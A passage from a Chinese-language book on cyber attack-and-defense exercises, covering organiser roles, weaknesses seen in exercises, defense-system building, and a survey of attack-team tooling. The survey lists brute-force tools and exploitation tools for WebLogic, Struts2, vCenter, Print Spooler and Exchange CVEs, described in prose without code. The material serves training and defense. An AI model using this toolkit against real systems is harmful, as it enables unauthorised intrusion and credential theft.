础上,需要攻击经验丰富的防守人员来有效、精准地实施反制。当 然,也有些单位会利用蜜罐等产品埋好陷阱,诱导攻击队跳进来,之 后再利用陷阱中的木马等快速攻陷攻击队系统。 1.4 紫队 1.4.1 什么是紫队 在本书中,紫队是指网络实战攻防演练中的组织方。 紫队在实战攻防演练中,以组织方角色开展演练的整体组织、协 调工作,负责演练组织、过程监控、技术指导、应急保障、风险控 制、演练总结、技术措施与优化策略建议等各类工作。 紫队组织蓝队对实际环境实施攻击,组织红队实施防守,目的是 通过演练检验参演单位的安全威胁应对能力、攻击事件检测发现能 力、事件分析研判能力、事件响应处置能力以及应急响应机制与流程 的有效性,提升参演单位的安全实战能力。 此外,针对某些不宜在实网中直接攻防的系统,或某些不宜实际 执行的危险操作,紫队可以组织攻防双方进行沙盘推演,以便进一步 深入评估网络安全风险及可能面临的损失与破坏。 1.4.2 紫队演变趋势 随着攻防演练的发展,演练规模和成熟度逐年上升,攻防对抗过 程已进入白热化阶段,无论攻击手段向多样化、体系化转变,还是防 守投入增多,防守能力进化,攻防演练的组织工作都会随之演变。种 种迹象表明,实战演练已逐步走向常态化、实战化、体系化。 从2016年至2019年,实战攻防演练历时四年,参演单位逐年递 增,涉及行业逐年增加,用户认可度越来越高,防守力度越来越大。 从2018年开始,部分省份及行业监管单位亦开始组织辖区内、行业内 的实战攻防演练;2020年下半年,部分地市也逐步开始自组织地市范 围的实战演练。可谓是遍地开花,实战攻防演练已成为各关基(关键 信息基础设施)单位家喻户晓的活动。值得一提的是,近两年,疫情 来袭,且反复无常,给攻防演练组织工作带来巨大挑战,但并没有阻 止演练工作的开展。为避免人员聚集,降低交叉感染的风险,演练采 用无接触方式进行,所有参演人员线上开展工作,保障演练工作顺利 开展。 此外,还有一个显著变化是,2020年,在实战攻防演练中首次增 加沙盘推演环节,沙盘推演应运而生。沙盘推演的目的是:将实网攻 击成果加以延伸,在沙盘中进行更深入的攻击推演;全面、深入地开 展实战演练,找到安全脆弱点,对实战攻防演练阶段遇到的“不敢 打、不能打、不让打”的核心资产、核心业务进行推演,评估被攻陷 的可能性以及被攻陷后产生的政治、经济、声誉等方面的影响。推演 形式为:每一场选取实网演练阶段问题多、问题影响大的参演单位作 为防守方,同时选取针对该防守单位实网成果多的攻击队作为攻击 方,开展第二阶段的沙盘推演。在2021年的实战攻防演练的第二阶 段,沙盘推演规模有增无减,在范围、周期、场次、人员投入等多个 维度上都进行了大幅度的升级。 1.5 实战攻防演练中暴露的薄弱环节 实战攻防演练已成为检验参演机构网络安全防御能力和水平的 “试金石”,以及参演机构应对网络攻击能力的“磨刀石”。近年的 实战攻防演练中,针对大型网络的攻击一般会组合利用多种攻击方 式:0day攻击、供应链攻击、进攻流量隧道加密等。面对此类攻击 时,传统安全设备构筑的防护网显得有些力不从心,暴露出诸多问 题。总的来看,实战攻防演练中主要暴露出以下薄弱环节。 1. 互联网未知资产或服务大量存在 在实战攻防演练中,资产的控制权和所有权始终是攻防双方的争 夺焦点。互联网暴露面作为流量的入口,是攻击方重要的攻击对象。 资产不清是很多政企单位面临的现状。数字化转型带来的互联网暴露 面不断扩大,政企单位的资产范围不断外延。除了看得到的“冰面资 产”之外,还有大量的冰面之下的资产,包括无主资产、灰色资产、 僵尸资产等。在实战攻防演练中,一些单位存在年久失修、无开发维 护保障的老旧系统和僵尸系统,因为清理不及时,这些系统容易成为 攻击者的跳板,构成严重的安全隐患。 根据奇安信安全服务团队的观察,在实战攻防演练前期对机构的 体检中,经常能够发现未及时更新的老旧系统。因为老旧系统存在历 史遗留问题以及管理混乱问题,攻击队可以通过分析它们的已知漏 洞,成功攻入内部网络。例如,某大型企业在前期自查阶段经过互联 网资产发现,发现资产清单有大量与实际不符的情况,这给自查整改 和攻击防护造成很大影响。 2. 网络及子网内部安全域之间隔离措施不到位 网络内部的隔离措施是考验企业网络安全防护能力的重要因素。 很多机构没有严格的访问控制(ACL)策略,在DMZ(隔离区)和办公 网之间不进行或很少进行网络隔离,办公网和互联网相通,网络区域 划分不严格,可以直接使远程控制程序上线,导致攻击方可以轻易实 现跨区攻击。 大中型政企机构还存在“一张网”的情况,它们习惯于使用单独 架设的专用网络来打通各地区之间的内部网络连接,而不同区域内网 间缺乏必要的隔离管控措施,缺乏足够有效的网络访问控制。这就导 致蓝队一旦突破了子公司或分公司的防线,便可以通过内网进行横向 渗透,直接攻击集团总部,或是漫游整个企业内网,攻击任意系统。 在实战攻防演练中,面对防守严密的总部系统,蓝队很难正面突 破,直接撬开内部网络的大门。因此绕过正面防御,尝试通过攻击防 守相对薄弱的下属单位,再迂回攻入总部的目标系统,成为一种“明 智”的策略。从2020年开始,各个行业的总部系统被蓝队从下级单位 路径攻击甚至攻陷的案例比比皆是。 3. 互联网应用系统常规漏洞过多 在历年的实战攻防演练期间,已知应用系统漏洞、中间件漏洞以 及因配置问题产生的常规漏洞,是攻击方发现的明显问题和主要攻击 渠道。 从中间件来看,WebLogic、WebSphere、Tomcat、Apache、 Nginx、IIS都有人使用。WebLogic应用比较广泛,因存在反序列化漏 洞,所以常常会被作为打点和内网渗透的突破点。所有行业基本上都 有对外开放的邮件系统,可以针对邮件系统漏洞,比如跨站漏洞、 CoreMail漏洞、XXE漏洞来开展攻击,也可以通过钓鱼邮件和鱼叉邮件 攻击来开展社工工作,这些均是比较好的突破点。 4. 互联网敏感信息泄露明显 网络拓扑、用户信息、登录凭证等敏感信息在互联网上被大量泄 露,成为攻击方突破点。实际上,2020年是有记录以来数据泄露最严 重的一年。根据Canalys的报告,2020年泄露的记录比过去15年的总和 还多。大量互联网敏感数据泄露,为攻击者进入内部网络和开展攻击 提供了便利。 5. 边界设备成为进入内网的缺口 互联网出口和应用都是攻入内部网络的入口和途径。目前政企机 构的接入防护措施良莠不齐,给蓝队创造了大量的机会。针对VPN系统 等开放于互联网边界的设备或系统,为了避免影响员工使用,很多政 企机构没有在其传输通道上增加更多的防护手段;再加上此类系统多 会集成统一登录,一旦获得了某个员工的账号密码,蓝队可以通过这 些系统突破边界直接进入内部网络。 此外,防火墙作为重要的网络层访问控制设备,随着网络架构与 业务的增长与变化,安全策略非常容易混乱,甚至一些政企机构为了 解决可用性问题,采取了“any to any”的策略。防守单位很难在短 时间内梳理和配置涉及几十个应用、上千个端口的精细化访问控制策 略。缺乏访问控制策略的防火墙,就如同敞开的大门,安全域边界防 护形同虚设。 6. 内网管理设备成为扩大战果的突破点 主机承载着政企机构的关键业务应用,须重点关注,重点防护。 但很多机构的内部网络的防御机制脆弱,在实战攻防演练期间,经常 出现早已披露的陈年漏洞未修复,特别是内部网络主机、服务器以及 相关应用服务补丁修复不及时的情况。对于蓝队来说,这些脆弱点是 可利用的重要途径,可以用来顺利拿下内部网络服务器及数据库权 限。 集权类系统成为攻击的主要目标。在攻防演练过程中,云管理平 台、核心网络设备、堡垒机、SOC平台、VPN等集权系统,由于缺乏定 期的维护升级,已经成为扩大权限的突破点。集权类系统一旦被突 破,整个内部的应用和系统也基本全部被突破,蓝队可以借此实现以 点打面,掌握对其所属管辖范围内的所有主机的控制权。 7. 安全设备自身安全成为新的风险点 安全设备作为政企机构对抗攻击者的重要工具,其安全性应该相 对较高,但实际上安全产品自身也无法避免0day攻击,安全设备自身 安全成为新的风险点。每年攻防演练都会爆出某某安全设备自身存在 的某某漏洞被利用、被控制,反映出安全设备厂商自身安全开发和检 测能力没有做到位,给蓝队留下了后门,形成新的风险点。2020年实 战攻防演练的一大特点是,安全产品的漏洞挖掘和利用现象非常普 遍,多家企业的多款安全产品被挖掘出新漏洞(0day漏洞)或存在高 危漏洞。 历年实战攻防演练中,被发现和利用的各类安全产品0day漏洞主 要涉及安全网关、身份与访问管理、安全管理、终端安全等类型的安 全产品。利用这些安全产品的漏洞,蓝队可以:突破网络边界,获取 控制权限并进入网络;获取用户账户信息,并快速拿下相关设备和网 络的控制权限。近两三年,出现了多起VPN、堡垒机、终端管理等重要 安全设备被蓝队利用重大漏洞完成突破的案例,这些安全设备被攻 陷,直接造成网络边界防护失效,大量管理权限被控制。 8. 供应链攻击成为攻击方的重要突破口 在攻防演练过程中,随着防守方对攻击行为的监测、发现和溯源 能力大幅增强,攻击队开始更多地转向供应链攻击等新型作战策略。 蓝队会从IT(设备及软件)服务商、安全服务商、办公及生产服务商 等供应链机构入手,寻找软件、设备及系统漏洞,发现人员及管理薄 弱点并实施攻击。常见的系统突破口有邮件系统、OA系统、安全设 备、社交软件等,常见的突破方式有利用软件漏洞、管理员弱口令 等。由于攻击对象范围广,攻击方式隐蔽,供应链攻击成为攻击方的 重要突破口,给政企安全防护带来了极大的挑战。从奇安信在2021年 承接的实战攻防演练情况来看,由于供应链管控弱,软件外包、外部 服务提供商等成为迂回攻击的重要通道。 9. 员工安全意识淡薄是攻击的突破口 很多情况下,攻击人要比攻击系统容易得多。利用人员安全意识 不足或安全能力不足,实施社会工程学攻击,通过钓鱼邮件或社交平 台进行诱骗,是攻击方经常使用的手法。 钓鱼邮件是最常用的攻击手法之一。即便是安全意识较强的IT人 员或管理员,也很容易被诱骗点开邮件中的钓鱼链接或木马附件,进 而导致关键终端被控,甚至整个网络沦陷。在历年攻防演练过程中, 攻击队通过邮件钓鱼等方式攻击IT运维人员办公用机并获取数据及内 网权限的案例数不胜数。 人是支撑安全业务的最重要因素,专业人才缺乏是政企机构面临 的挑战之一。在攻防演练期间,有大量防守工作需要开展,而且专业 性较强,要求企业配备足够强大的专业化网络安全人才队伍。 10. 内网安全检测能力不足 攻防演练中,攻击方攻击测试,对防守方的检测能力要求更高。 网络安全监控设备的部署、网络安全态势感知平台的建设,是实现安 全可视化、安全可控的基础。部分企业采购并部署了相关工具,但是 每秒上千条告警,很难从中甄别出实际攻击事件。此外,部分老旧的 防护设备,策略配置混乱,安全防护依靠这些系统发挥中坚力量,势 必力不从心。流量监测及主机监控工具缺失,仅依靠传统防护设备的 告警,甚至依靠人工翻阅海量日志来判断攻击,会导致“巧妇难为无 米之炊”。更重要的是,精于内部网络隐蔽渗透的攻击方在内部网络 进行非常谨慎而隐蔽的横向拓展,很难被流量监测设备或态势感知系 统检测。 网络安全监控是网络安全工作中非常重要的方面。重视并建设好 政企机构网络安全监控体系,持续运营并优化网络安全监控策略,是 让政企机构真正可以经受实战化考验的重要举措。 1.6 建立实战化的安全体系 安全的本质是对抗。对抗是攻防双方能力的较量,是一个动态的 过程。业务在发展,网络在变化,技术在变化,人员在变化,攻击手 段也在不断变化。网络安全没有“一招鲜”的方式,只有在日常工作 中不断积累,不断创新,不断适应变化,持续构建自身的安全能力, 才能应对随时可能威胁系统的各种攻击。不能临阵磨枪、仓促应对, 而应立足根本、打好基础。加强安全建设,构建专业化的安全团队, 优化安全运营过程,并针对各种攻击事件进行重点防护,这些才是根 本。 防守队不应再以“修修补补,哪里出问题堵哪里”的思维来解决 问题,而应未雨绸缪,从管理、技术、运行等方面建立系统化、实战 化的安全体系,从而有效应对实战环境下的安全挑战。 1. 完善面向实战的纵深防御体系 实战攻防演练的真实对抗表明,攻防是不对称的。通常情况下, 攻击队只需要撕开一个点,就会有所收获,甚至可以通过攻击一个 点,拿下一座“城池”。但对于防守队来说,需要考虑的是安全工作 的方方面面,仅关注某个或某些防护点已经满足不了防护需求。实战 攻防演练中,对攻击队或多或少还有些攻击约束要求,而真实的网络 攻击则完全无拘无束,与实战攻防演练相比,更加隐蔽而强大。 要应对真实网络攻击行为,仅仅建立合规型的安全体系是远远不 够的。随着云计算、大数据、人工智能等新型技术的广泛应用,信息 基础架构层面变得更加复杂,传统的安全思路已越来越难以满足安全 保障的要求。必须通过新思路、新技术、新方法,从体系化的规划和 建设角度,建立纵深防御体系架构,整体提升面向实战的防护能力。 从应对实战的角度出发,对现有安全架构进行梳理,以安全能力 建设为核心思路,面向主要风险重新设计政企机构整体安全架构,通 过多种安全能力的组合和结构性设计形成真正的纵深防御体系,并努 力将安全工作前移,确保安全与信息化“三同步”(同步规划、同步 建设、同步运行),建立起具备实战防护能力、有效应对高级威胁、 持续迭代演进提升的安全防御体系。 2. 形成面向过程的动态防御能力 在实战攻防对抗中,攻击队总是延续信息收集、攻击探测、提 权、持久化的一个个循环过程。攻击队总是通过不断地探测发现环境 漏洞,并尝试绕过现有的防御体系,侵入网络环境。如果防御体系的 安全策略长期保持不变,一定会被“意志坚定”的攻击队得手。所 以,为了应对攻击队持续变化的攻击行为,防御体系自身需要具有一 定适应性的动态检测能力和响应能力。 在攻防对抗实践中,防守队应利用现有安全设备的集成能力和威 胁情报能力,通过分析云端威胁情报的数据,让防御体系中的检测设 备和防护设备发现更多的攻击行为,并依据设备的安全策略做出动态 的响应处置,把攻击队阻挡在边界之外。同时,在设备响应处置方 面,也需要多样化的防护能力来识别攻击队的攻击行为和动机,例如 封堵IP、拦截具有漏洞的URL访问等策略。 通过建立动态防御体系,不仅可以有效拦截攻击队的攻击行为, 还可以迷惑攻击队,让攻击队的探测行为失去方向,让更多的攻击队 知难而退,从而在对抗中占得先机。 3. 建设以人为本的主动防御能力 安全的本质是对抗,对抗是人与人的较量。攻防双方都在对抗中 不断提升各自的攻防能力。在这个过程中,就需要建立一个技术水平 高的安全运营团队。该团队要能够利用现有的防御体系和安全设备, 持续检测并分析内部的安全事件告警与异常行为,发现已进入内部的 攻击队并对其采取安全措施,压缩其在内部的停留时间。 构建主动防御的基础是可以采集到内部的大量有效数据,包括安 全设备的告警、流量信息、账号信息等。为了将对内部网络的影响最 小化,采用流量威胁分析的方式,实现全网流量威胁感知,特别是关 键的边界流量、内部重要区域的流量。安全运营团队应利用专业的攻 防技能,从这些流量威胁告警数据中发现攻击线索,并对已发现的攻 击线索进行威胁巡猎、拓展,一步步找到真实的攻击点和受害目标。 主动防御能力主要表现为构建安全运营的闭环,包括以下三方 面。 1)在漏洞运营方面,形成持续的评估发现、风险分析、加固处置 的闭环,减少内部的受攻击面,使网络环境达到内生安全。 2)在安全事件运营方面,对实战中攻击事件的行为做到“可发 现、可分析、可处置”的闭环管理,实现安全事件的全生命周期管 理,压缩攻击队在内部的停留时间,降低安全事件的负面影响。 3)在资产运营方面,逐步建立起配置管理库(CMDB),定期开展 暴露资产发现工作,并定期更新配置管理库,这样才能使安全运营团 队快速定位攻击源和具有漏洞的资产,通过未知资产处置和漏洞加 固,减少内外部的受攻击面。 4. 建立基于情报数据的精准防御能力 在实战攻防对抗中,封堵IP是很多防守队的主要响应手段。这种 手段相对简单、粗暴,容易造成对业务可用性的影响,主要体现在: ·如果检测设备误报,结果被封堵的IP并非真实的攻击IP,就会 影响到互联网用户的业务; ·如果攻击IP自身是一个IDC出口IP,那么封堵该IP就可能造成 IDC后端大量用户的业务不可用。 所以,从常态化安全运行角度来看,防守队应当逐步建立基于情 报数据的精准防御能力。具体来说,主要包括以下三方面。 1)防守队需要培养精准防御的响应能力,在实战攻防对抗中针对 不同的攻击IP、攻击行为采用更细粒度、更精准的防御手段。 结合实战攻防对抗场景,防守队可以利用威胁情报数据共享机 制,实现攻击源的精准检测与告警,促进精准防御。减少检测设备误 报导致的业务部分中断。此外,让威胁情报数据共享在网络流量监测 设备、终端检测与响应系统、主机防护系统等多点安全设备或系统上 共同作用,可以形成多样化、细粒度的精准防御。 2)为了最小化攻防活动对业务可用性的影响,需要设计多样化的 精准防御手段与措施,既可延缓攻击,又可满足业务连续性需要。 例如,从受害目标系统维度考虑建立精准防御能力,围绕不同的 目标系统,采取不同的响应策略。针对非实时业务系统的攻击,可以 考虑通过防火墙封禁IP的模式;而针对实时业务系统的攻击,就应考 虑在WAF设备上拦截具有漏洞的页面访问请求,从而达到对实时业务系 统的影响最小化。 3)为了保证在实战攻防对抗过程中防守方不会大面积失陷,应对 于重要主机,例如域控服务器、网管服务器、OA服务器、邮件服务器 等,加强主机安全防护,阻止主机层面的恶意代码运行与异常进程操 作。 5. 打造高效一体的联防联控机制 在实战攻防对抗中,攻击是一个点,攻击队可以从一个点攻破整 座“城池”。所以在防守的各个阶段,不应只是安全部门孤军奋战, 而应有更多的资源支持,有更多的部门协同工作,这样才有可能做好 全面的防守工作。 例如,一个攻击队正在对某个具有漏洞的应用系统进行渗透攻 击,在检测发现层面,需要安全运营团队的监控分析发现问题,然后 通知网络部门进行临时封堵攻击IP,同时要让开发部门尽快修复应用 系统的漏洞。这样才能在最短时间内让攻击事件的处置形成闭环。 在实战攻防对抗中,防守队一定要建立起联防联控的机制,分工 明确,信息通畅。唯有如此,才能打好实战攻防演练的战斗工作。联 防联控的关键点如下。 1)安全系统协同。通过安全系统的接口实现系统之间的集成,加 强安全系统的联动,实现特定安全攻击事件的自动化处置,提高安全 事件的响应处置效率。 2)内部人员协同。内部的安全部门、网络部门、开发部门、业务 部门全力配合实战攻防对抗工作组完成每个阶段的工作,并在安全值 守阶段全力配合工作组做好安全监控与处置工作。 3)外部人员协同。实战攻防对抗是一个高频的对抗活动,在这期 间,需要外部的专业安全厂商配合工作组防守,各个厂商之间应依据 产品特点和职能分工落实各自的工作,并做到信息通畅、听从指挥。 4)平台支撑,高效沟通。为了加强内部团队的沟通与协同,在内 部通过指挥平台实现各部门、各角色之间的流程化、电子化沟通,提 升沟通协同效率,助力联防联控有效运转。 6. 强化行之有效的整体防御能力 2020年实战攻防演练的要求是:如果与报备目标系统同等重要的 系统被攻陷,也要参照报备目标系统规则扣分。 这就给大型机构的防守队带来了前所未有的防守压力。原来通行 的防守策略是重兵屯在总部(目标系统一般在总部),提升总部的整 体防御能力;但随着实战攻防演练规则的演变,总部和分支机构变得 同等重要。 从攻击路径来看,分支机构的安全能力一般弱于总部,同时分支 机构和总部网络层面是相通的,并且在早期进行安全建设的时候往往 会默认对方的网络是可信的;在安全防护层面,总部一般仅仅对来自 分支机构的访问请求设置一些比较粗糙的访问控制措施。这些安全隐 患都会给攻击队留出机会,使攻击队可以从薄弱点进入,然后横向拓 展到总部的目标系统。 因此,防守队只有将总部和分支机构进行统一的安全规划和管 理,形成整体防御能力,才能有效开展实战攻防对抗。在整体防御能 力上,建议防守队开展如下工作。 1)互联网出入口统一管理。条件允许的情况下,应尽量上收分支 机构的互联网出入口。统一管理的好处是集中防御、节约成本、降低 风险。同时,在整体上开展互联网侧的各类风险排查,包括互联网未 知资产、敏感信息泄露、社工信息的清理等工作。 2)加强分支机构防御能力。如果无法实现分支机构的互联网出入 口统一管理,则让分支机构参考总部的安全体系建设完善其自身的防 御能力,避免让出入口成为安全中的短板。 3)全面统筹,协同防御。在准备阶段,应让分支机构配合总部开 展风险排查;在实战值守阶段,让分支机构与自己一起安全值守,并 配置适当的安全监控人员、安全分析处置人员,配合自己做好整体的 防御、攻击的应急处置等工作。 第二部分 蓝队视角下的防御体系突破 蓝队作为实战攻防演练中的攻击方,根据队员的不同攻击能力特 点组织攻击团队。队员们在网络攻击各阶段各司其职,采用适当的攻 击手段和攻击策略对目标系统展开网络攻击,最终获取目标网络和系 统的控制权限和数据,检验目标单位的网络安全防护能力。 本部分主要站在蓝队的角度,讲述网络实战攻防演练中攻击阶段 的划分、各阶段主要工作内容、攻击中主要使用的技术手段以及攻方 人员必备的技能,最后通过多个实战案例对攻击手段进行了直观展 示。 第2章 蓝队攻击的4个阶段 蓝队的攻击是一项系统的工作,整个攻击过程是有章可循、科学 合理的,涵盖了从前期准备、攻击实施到靶标控制的各个步骤和环 节。按照任务进度划分,一般可以将蓝队的工作分为4个阶段:准备工 作、目标网情搜集、外网纵向突破和内网横向拓展(见图2-1)。 图2-1 蓝队攻击的4个阶段 2.1 准备工作 实战攻防演练一般具有时间短、任务紧的特点,前期各项准备工 作是否充分是决定蓝队能否顺利完成攻击任务的关键因素。在一场实 战攻防演练开始前,蓝队主要会从工具、技能和队伍三方面来进行准 备(见图2-2)。 图2-2 蓝队准备工作 2.1.1 工具准备 在蓝队攻击任务中,各类工具的运用会贯穿始终,高质量的工具 往往能起到事半功倍的效果,极大提升蓝队的攻击效率。因为攻防演 练任务紧、时间有限,很多战机稍纵即逝,而现场临时对渗透工具进 行搜集匹配或调试往往会耽误宝贵的时间,甚至错过极佳的突破时 机,所以高质量的工具准备是蓝队攻击任务高效推进的有力保证。网 络实战攻防演练前,需要准备任务各环节会用到的工具,包括信息搜 集、扫描探测、口令爆破、漏洞利用、远程控制、Webshell管理、隧 道穿透、网络抓包分析和集成平台等各类工具。 1. 信息搜集工具 蓝队主要利用信息搜集工具搜集目标网络IP、域名等详细网络信 息,并利用搜集到的信息准确确定渗透攻击范围。常用的工具如下。 (1)Whois Whois(音同“Who is”,非缩写)是用来查询域名的IP及所有者 等信息的传输协议。简单来说,Whois就是一个用来查询域名是否已经 被注册、注册域名详细信息(如域名所有人、域名注册商)的数据 库。通过Whois可实现对域名信息的查询。早期的Whois查询多以命令 列接口存在,现在出现了一些基于网页接口的简化线上查询工具,可 以一次向不同的数据库查询。APNIC(Asia-Pacific Network Information Center,亚太互联网络信息中心),是全球五大区域性 因特网注册管理机构之一,负责亚太地区IP地址、ASN(自治域系统 号)的分配并管理一部分根域名服务器镜像。CNNIC(China Internet Network Information Center,中国互联网络信息中心)是我国的域 名体系注册管理机构。APNIC和CNNIC均提供所辖范围内域名信息查询 的Whois服务。 (2)nslookup命令工具 nslookup是Windows系统中一个非常有用的命令解析工具,用于连 接DNS服务器、查询域名信息。它可以指定查询的类型,可以查到DNS 记录的生存时间,还可以指定使用哪个DNS服务器进行解释。在已安装 TCP/IP协议的电脑上均可以使用这个命令工具探测域名系统(DNS)基 础结构的信息。 (3)DIG命令工具 DIG(Domain Information Groper,域名信息搜索器)是Linux和 Unix环境下与Windows环境下的nslookup作用相似的域名查询命令工 具。DIG工具能够显示详细的DNS查询过程,是一个非常强大的DNS诊断 查询工具,具有设置灵活、输出清晰的特点。一般Linux和Unix系统都 已内置了该功能,而在Windows环境下只有nslookup工具,也可以考虑 安装和部署DIG工具。 (4)OneForAll子域名搜集工具 OneForAll是一款基于CPython开发的功能强大的子域收集工具, 具有全面的接口和模块支持,集成证书透明度、网络爬虫、常规检 查、DNS数据集、DNS查询与搜索引擎6个模块,支持各搜集模块多线程 调用,对搜集的子域结果自动去重,有较高的扫描效率,并且支持将 搜集结果以多种格式导出利用。 2. 扫描探测工具 蓝队主要利用扫描探测工具对目标Web应用系统、网络设备、终端 主机或服务器进行漏洞和薄弱点发现,为进一步利用扫描探测到的漏 洞实施渗透攻击做准备。网上公开、免费的扫描探测工具非常多,有 的蓝队还会自主开发扫描探测工具。比较有名的开源扫描探测工具有 以下几个。 (1)Nmap Nmap(Network Mapper)是一款开放源代码的网络探测和安全审 核工具,具备对Windows、Linux、macOS等多个操作系统的良好兼容 性,功能包括在线主机探测(检测存活在网络上的主机)、端口服务 探测(检测主机上开放的端口和应用服务)、设备指纹探测(监测目 标系统类型和版本信息)和漏洞探测(借助Nmap脚本对目标脆弱性进 行扫描和检测)。Nmap扫描示例见图2-3。 图2-3 Nmap扫描示例 (2)Nessus Nessus是一款功能强大、操作方便的网络系统安全扫描工具,号 称是“全球使用人数最多的系统漏洞扫描与分析软件,全世界超过75 000个组织在使用它”。Nessus采用集成技术帮助执行物理和虚拟设备 发现及软件安全审核,通过插件库实现功能拓展和最新漏洞补丁检 测,并提供对包括移动设备在内的广泛的网络资产覆盖和架构环境探 测。 (3)AWVS AWVS(Acunetix Web Vulnerability Scanner)是一款知名的Web 网络漏洞扫描工具,利用网络爬虫原理来测试Web网站的安全性。AWVS 采用AcuSensor技术和自动化客户端脚本分析器实现业内最先进且深入 的SQL注入和跨站脚本测试,集成了HTTP Editor和HTTP Fuzzer等高级 渗透测试工具,允许对AJAX和Web 2.0应用程序进行安全性测试,支持 通过多线程高速扫描Web网络服务来检测流行安全漏洞。AWVS的扫描任 务界面如图2-4所示。 图2-4 AWVS扫描任务界面 (4)Dirsearch Dirsearch是一款用Python开发的目录扫描工具,可对包括目录和 文件在内的网站Web页面结构进行扫描,进而搜集关于后台目录、后台 数据库、弱口令、安装包、网站源码和后台编辑器类型等敏感信息的 信息。 (5)Nikto Nikto是一款开源的Web安全扫描工具,可对Web服务器进行全面的 多项安全测试,扫描指定主机的Web类型、主机名、目录、特定CGI漏 洞。Nikto使用Rain Forest Puppy的LibWhisker实现HTTP功能,并且 可以检查HTTP和HTTPS,同时支持基本的端口扫描以判定网页服务器是 否运行在其他开放端口上。 3. 口令爆破工具 口令意味着访问权限,是打开目标网络大门的钥匙。蓝队主要利 用口令爆破工具来完成对目标网络认证接口用户名和口令的穷尽破 解,以实现对目标网站后台、数据库、服务器、个人终端、邮箱等目 标的渗透控制。 (1)超级弱口令检查工具 超级弱口令检查工具(弱口令扫描检测)是可在Windows平台运行 的弱密码口令检测工具,支持批量多线程检查,可以快速检测弱密 码、弱密码账户、密码支持和用户名组合检查,从而大大提高检查成 功率,并且支持自定义服务。该工具目前支持SSH、RDP、Telnet、 MySQL、SQL Server、Oracle、FTP、MongoDB、Memcached、 PostgreSQL、SMTP、SMTP_SSL、POP3、POP3_SSL、IMAP、IMAP_SSL、 SVN、VNC、Redis等服务的弱密码检查爆破(见图2-5)。 图2-5 超级弱口令检查工具 (2)Medusa Medusa是Kali Linux系统下对登录服务进行暴力破解的工具,基 于多线程并行可同时对多个主机、服务器进行用户名或密码强力爆 破,以尝试获取远程验证服务访问权限。Medusa支持大部分允许远程 登录的服务,包括FTP、HTTP、SSH v2、SQL Server、MySQL、SMB、 SMTP、SNMP、SVN、Telnet、VNC、AFP、CVS、IMAP、NCP、NNTP、 POP3、PostgreSQL、rlogin、rsh等(见图2-6)。 图2-6 Medusa可爆破种类列表 (3)Hydra Hydra是一个自动化的爆破工具,可暴力破解弱密码,已经集成到 Kali Linux系统中。Hydra可对多种协议执行字典攻击,包括RDP、 SSH(v1和v2)、Telnet、FTP、HTTP、HTTPS、SMB、POP3、LDAP、SQL Server、MySQL、PostgreSQL、SNMP、SOCKS5、Cisco AAA、Cisco auth、VNC等。它适用于多种平台,包括Linux、Windows、Cygwin、 Solaris、FreeBSD、OpenBSD、macOS和QNX/BlackBerry等。Hydra命令 参数见图2-7。 图2-7 Hydra命令示意图 (4)Hashcat Hashcat是一款免费的密码破解工具,号称是基于CPU的最快的密 码破解工具,适用于Linux、Windows和macOS平台。Hashcat支持各种 散列算法,包括LM Hashes、MD4、MD5、SHA系列、UNIX Crypt格式、 MySQL、Cisco PIX。它支持各种攻击形式,包括暴力破解、组合攻 击、字典攻击、指纹攻击、混合攻击、掩码攻击、置换攻击、基于规 则的攻击、表查找攻击和Toggle-Case攻击(破译示例见图2-8)。 图2-8 Hashcat破译示意图 4. 漏洞利用工具 漏洞利用工具可实现对目标网络中硬件、软件、服务或协议漏洞 的自动化应用。根据不同的漏洞类型,漏洞利用工具可以分为许多 种,多通过单个Poc & Exp实现漏洞利用。蓝队会根据新漏洞的不断出 现而不停更换漏洞利用工具。以下是最近攻防演练中比较典型的几 个。 (1)WebLogic全版本漏洞利用工具 WebLogic是基于Java EE架构的中间件,被用于开发、集成、部署 和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务 器。该漏洞利用工具集成WebLogic组件各版本多个漏洞自动化检测和 利用功能,可对各版本WebLogic漏洞进行自动化检测和利用,根据检 测结果进行执行命令等针对性利用并获取服务器控制权限(见图2- 9)。 图2-9 WebLogic漏洞工具 (2)Struts2综合漏洞利用工具 Struts2是一个相当强大的Java Web开源框架,在MVC设计模式 中,Struts2作为控制器来建立模型与视图的数据交互。Struts2综合 漏洞利用工具集成了Struts2漏洞的检测和利用功能,可实现利用 Struts2漏洞进行任意代码执行和任意文件上传(见图2-10)。 图2-10 Struts2漏洞利用工具 (3)sqlmap注入工具 sqlmap是一个自动化的SQL注入工具,可用来自动检测和利用SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,集成众多功 能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统 以及在操作系统上内连接执行命令,同时内置了很多绕过插件,支持 的数据库有MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB(见图2-11)。 图2-11 sqlmap模拟执行 (4)vSphere Client RCE漏洞(CVE-2021-21972)利用工具 vSphere是VMware推出的虚拟化平台套件,包含ESXi、vCenter Server等一系列的软件,其中vCenter Server为ESXi的控制中心,可 从单一控制点统一管理数据中心的所有vSphere主机和虚拟机。 vSphere Client(HTML5)在vCenter Server插件中存在一个远程执行 代码漏洞。蓝队可以通过开放443端口的服务器向vCenter Server发送 精心构造的请求,写入Webshell,控制服务器(见图2-12)。 图2-12 vCenter Server管理界面 (5)Windows Print Spooler权限提升漏洞(CVE-2021-1675) Windows Print Spooler是Windows系统中用于管理打印相关事务 的服务。在域环境中合适的条件下,无须进行任何用户交互,未经身 份验证的远程攻击者就可以利用CVE-2021-1675漏洞以system权限在域 控制器上执行任意代码,从而获得整个域的控制权。 (6)Exchange Server漏洞组合利用(CVE-2021-26855 & CVE- 2021-27065) Exchange Server是微软公司的一套电子邮件服务组件,是个消息 与协作系统。CVE-2021-26855是一个SSRF(服务器端请求伪造)漏 洞,蓝队可以利用该漏洞绕过身份验证发送任意HTTP请求。CVE-2021- 27065是一个任意文件写入漏洞,单独情况下利用该漏洞需要进行身份 认证。此漏洞还伴生着一个目录跨越漏洞,蓝队可以利用该漏洞将文 件写入服务器的任何路径。两个漏洞相结合可以达到绕过权限直接获 取反弹执行命令权限。 5. 远程控制工具 蓝队主要利用远程控制工具对目标网络内服务器、个人计算机或 安全设备进行管理控制。借助于一些好的远程控制工具,蓝队可以跨 不同系统平台进行兼容操作,实现高效拓展。 (1)Xshell Xshell是一款强大的安全终端模拟软件,支持SSH1、SSH2以及 Windows平台的TELNET协议。Xshell可以用来在Windows界面下访问远 端不同系统下的服务器,从而比较好地达到远程控制终端的目的(见 图2-13)。 图2-13 